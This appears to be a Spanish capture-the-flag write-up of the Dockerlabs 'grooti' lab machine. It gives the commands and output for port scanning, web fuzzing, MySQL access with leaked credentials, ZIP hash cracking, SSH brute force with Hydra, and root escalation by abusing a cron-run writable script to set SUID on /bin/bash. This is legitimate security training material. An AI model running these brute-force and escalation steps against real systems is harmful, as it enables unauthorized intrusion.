
Dockerlabs - grooti
- Hacking ético
- August 20, 2026
Table of Contents
Herramientas y técnicas utilizadas
Herramientas
- Nmap — Reconocimiento de puertos, servicios y versiones.
- FFUF — Enumeración de directorios, recursos web y búsqueda de credenciales válidas mediante fuzzing.
- Burp Suite — Interceptación y análisis de peticiones y respuestas HTTP.
- John the Ripper — Obtención de la contraseña de un archivo ZIP protegido mediante ataque de diccionario.
- Hydra — Ataque de fuerza bruta contra el servicio SSH utilizando una lista de posibles contraseñas.
Técnicas
- Reconocimiento de servicios y puertos mediante Nmap.
- Enumeración de recursos web mediante fuzzing con FFUF.
- Reutilización de credenciales obtenidas a partir de información expuesta.
- Enumeración de bases de datos MySQL y sus estructuras mediante el cliente de MySQL.
- Fuzzing de credenciales para identificar una combinación válida de usuario y contraseña.
- Cracking de contraseña de un archivo ZIP mediante extracción del hash con
zip2johny ataque de diccionario con John the Ripper. - Fuerza bruta de credenciales SSH mediante Hydra.
- Enumeración local de privilegios mediante la búsqueda de binarios SUID, revisión de permisos,
sudo -ly tareas programadas. - Enumeración de tareas programadas mediante cron.
- Identificación de un script ejecutado periódicamente con privilegios elevados.
- Abuso de una tarea cron privilegiada mediante la modificación del script que esta ejecuta.
- Escalada de privilegios mediante SUID, estableciendo el bit SUID sobre
/bin/bash. - Obtención de una shell privilegiada mediante
/bin/bash -p.
Escaneo
En primer lugar se lanza el comando nmap para escanear:
nmap -sC -sV -sS -p- -n --min-rate 5000 -T4 172.17.0.2
La salida que se obtiene:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 46:69:49:1a:d0:b7:26:05:90:a3:22:b2:a8:fe:fd:83 (ECDSA)
|_ 256 91:67:c5:15:53:13:af:6f:28:7d:1e:77:46:0c:c1:bb (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: \xF0\x9F\x8C\xB1 Grooti's Web
3306/tcp open mysql MySQL 8.0.42-0ubuntu0.24.04.2
| ssl-cert: Subject: commonName=MySQL_Server_8.0.42_Auto_Generated_Server_Certificate
| Not valid before: 2025-07-18T22:37:08
|_Not valid after: 2035-07-16T22:37:08
| mysql-info:
| Protocol: 10
Los servicios expuestos son el SSH(22), HTTP(80), Mysql(3306)
HTTP
Explorando la página web en el navegador se aprecia un primer home con enlaces a distintos enlaces de la propia página

En /imágenes se ve la imagen del home y un README.TXT en el que pone:
(password1) Encuentra donde ponerla ;)
En la url de /documentos da error 404
En el enlace de facturas de la nave (/archives) aparece un cuadro con facturas:

ffuf
Aplicando ffuf
ffuf -c -u "http://172.17.0.2/FUZZ" -w /usr/share/wordlists/wfuzz/general/megabeast.txt -e .txt, .py, .bak, .php, .html
a la direción muestra una salida que no se ve inspeccionando el navegador, que es la “secret”

Entrando a ese directorio url se muestran tres usuarios y sus rangos

Descargado el archivo que aparece en el botón de la página se encuentra el siguiente texto:
look carefully here ;)
al scrollear en mitad del fichero encuentro el siguiente comando:
mysql -u rocket -p -h 172.17.0.2 --ssl=0
Lanzo el comando de acceso y pruebo la credencial de readme.txt y consigo acceso a mysql con el usuario rocket que según el esquema tiene rango de Subcoordiandor.

Navego por la base de datos y encuentro unas rutas
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| files_secret |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0,003 sec)
MySQL [(none)]> use files_secret;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [files_secret]> show tables;
+------------------------+
| Tables_in_files_secret |
+------------------------+
| rutas |
+------------------------+
1 row in set (0,001 sec)
MySQL [files_secret]> select * from rutas;
+----+------------+---------------------------------+
| id | nombre | ruta |
+----+------------+---------------------------------+
| 1 | imagenes | /var/www/html/files/imagenes/ |
| 2 | documentos | /var/www/html/files/documentos/ |
| 3 | facturas | /var/www/html/files/facturas/ |
| 4 | secret | /unprivate/secret |
+----+------------+---------------------------------+
4 rows in set (0,000 sec)
Probando la URL que aparece en la base de datos encuentro este portal de logueo.

Inspeccionando el código veo que utiliza un método POST de la acción generate.php

Al intentar un logueo genera directamente un fichero a descargar y dentro de este distintos mensajes como “prueba de nuevo”, “prueba otra vez”, “caaaaasi ;)” he probado a repetir el número de serie y devuelve el mismo texto que escriba arriba, he probado comandos como whoami pero devuelve literalmente el texto whoami.
Observo el envío y la respuesta de GET y POST con Burpsuite

El usuario entiendo que es Grooti y la contraseña debe de ser uno de esos números por lo que mediante ffuf pruebo los distintos con una lista creada ad hoc y filtrada para evitar las respuestas que daban tamaño 6 que eran la mayoría.

En esta caso en vez de un fichero de texto facilita un fichero ZIP llamado “password16.zip”
Ahora con JohonTheRipper saco la contraseña:
zip2john password16.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
La salida arroja la contraseña password1

tras descomprimir el zip aparece una lista con posibles contraseñas:
admin123
123456
qwerty
letmein
roottoor
12345678
password
summer2025
iloveyou
hunter2
passw0rd
toor123
changeme
adminadmin
welcome1
trustno1
abc123456
useruser
dragon2024
mydogrex
grootlove
Galaxy42
!P@ssword!
megasecret
YOLOgroot
P@ss1234
monkeybanana
YOgrootRULEZ
YoSoYgRoOt
finalchance
1qaz2wsx
batman2025
rootroot
hello123
Pruebo la lista de contraseñas que facilita el txt con hydra en ssh con los usuarios que se vieron en la captura anterior (grooti, rocket, Naia), con naia no se obtiene resultado pero con grooti si.
# hydra -l grooti -P password16.txt 172.17.0.2 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-02 15:42:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 34 login tries (l:1/p:34), ~3 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: grooti password: YoSoYgRoOt
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-02 15:42:31

Una vez dentro inicio una batería de reconocimiento:
- listo ficheros con permisos SUID
grooti@b7a04ef4bd28:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
- Reviso también los archivos ocultos del home del usuario, no encuentro nada interesante.
grooti@b7a04ef4bd28:~$ ls -a
. .. .bash_logout .bashrc .cache .local .profile .selected_editor
- Intento ejecutar el comando
sudo -lpara ver si puedo ejectutar comandos como root
grooti@b7a04ef4bd28:~$ sudo -l
[sudo] password for grooti:
Sorry, user grooti may not run sudo on b7a04ef4bd28.
- Observo si hay alguna tarea programada con
crontab -l
grooti@b7a04ef4bd28:~$ crontab -l
# Edit this file to introduce tasks to be run by cron.
[...]
#
# m h dom mon dow command
* * * * * /opt/cleanup.sh
Ese script se ejecutará cada minuto, por lo que decido investigar y tirar del hilo al respecto.
grooti@b7a04ef4bd28:~$ ls -l /opt/cleanup.sh
-rwxr-xr-- 1 root root 36 Jul 22 2025 /opt/cleanup.sh
grooti@b7a04ef4bd28:~$ cat /opt/cleanup.sh
#!/bin/bash
bash /tmp/malicious.sh
grooti@b7a04ef4bd28:~$ ls -l /tmp/malicious.sh
-rwxrw-r-- 1 root grooti 221 Jul 22 2025 /tmp/malicious.sh
El script cleanup.sh con permisos root ejecuta un segundo script llamado malicious.sh, y esa es la clave que en el segundo scrip,el usuario grooti tiene permisos de escritura a través del grupo.
El siguiente paso es escalar privilegios, añadiéndole SUID a /bin/bash.

y finalmente ejecutar /bin/bash con SUID y se obtiene la flag.
grooti@b7a04ef4bd28:/tmp$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd
bash-5.2# ls
bash-5.2# cd /root/
bash-5.2# ls -a
. .. .bashrc .local .mysql_history .profile .selected_editor .ssh grooti.txt
bash-5.2# cat grooti.txt
⠰⣶⣶⣶⣄⠀⠀⠀⢀⣀⠀⠀⣠⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠻⣿⣿⣿⡀⠀⠀⣿⠿⠷⢾⡏⠉⣿⣄⢀⣿⣷⡆⠀⠀
⢀⣠⣬⡁⢸⣿⣶⣿⣿⡇⠀⣾⡇⠀⣿⡏⠛⢻⣿⢧⣤⠀
⢸⣿⡿⡿⢻⠇⠀⢿⣿⡇⣠⣿⡇⣼⡿⠀⠀⣼⡏⢠⣾⠀
⢸⣿⡀⢀⣿⠀⣴⠈⣿⣿⣿⣿⣿⣿⠃⣾⣤⣿⠀⣼⣿⠀
⢸⣿⣧⢸⣿⣧⣿⣇⣿⣿⣿⣿⣿⣿⣾⣿⣿⣏⣼⣿⣿⠀
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁
⠀⢹⣿⣿⣿⣿⣿⠉⠙⣿⣿⣿⣿⣿⡯⠉⢻⣿⣿⣿⣿⠀
⠀⠸⣿⣿⣿⣧⡀⠀⣠⣿⣿⣿⣿⣄⠀⢀⣼⣿⣿⣿⠇⠀
⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀
⠀⠀⠘⣿⣿⣿⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀
⠀⠀⠀⠘⣿⣿⣿⣿⣷⣄⣀⣀⣠⣿⣿⣿⣿⠏⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
bash-5.2# pwd
/root



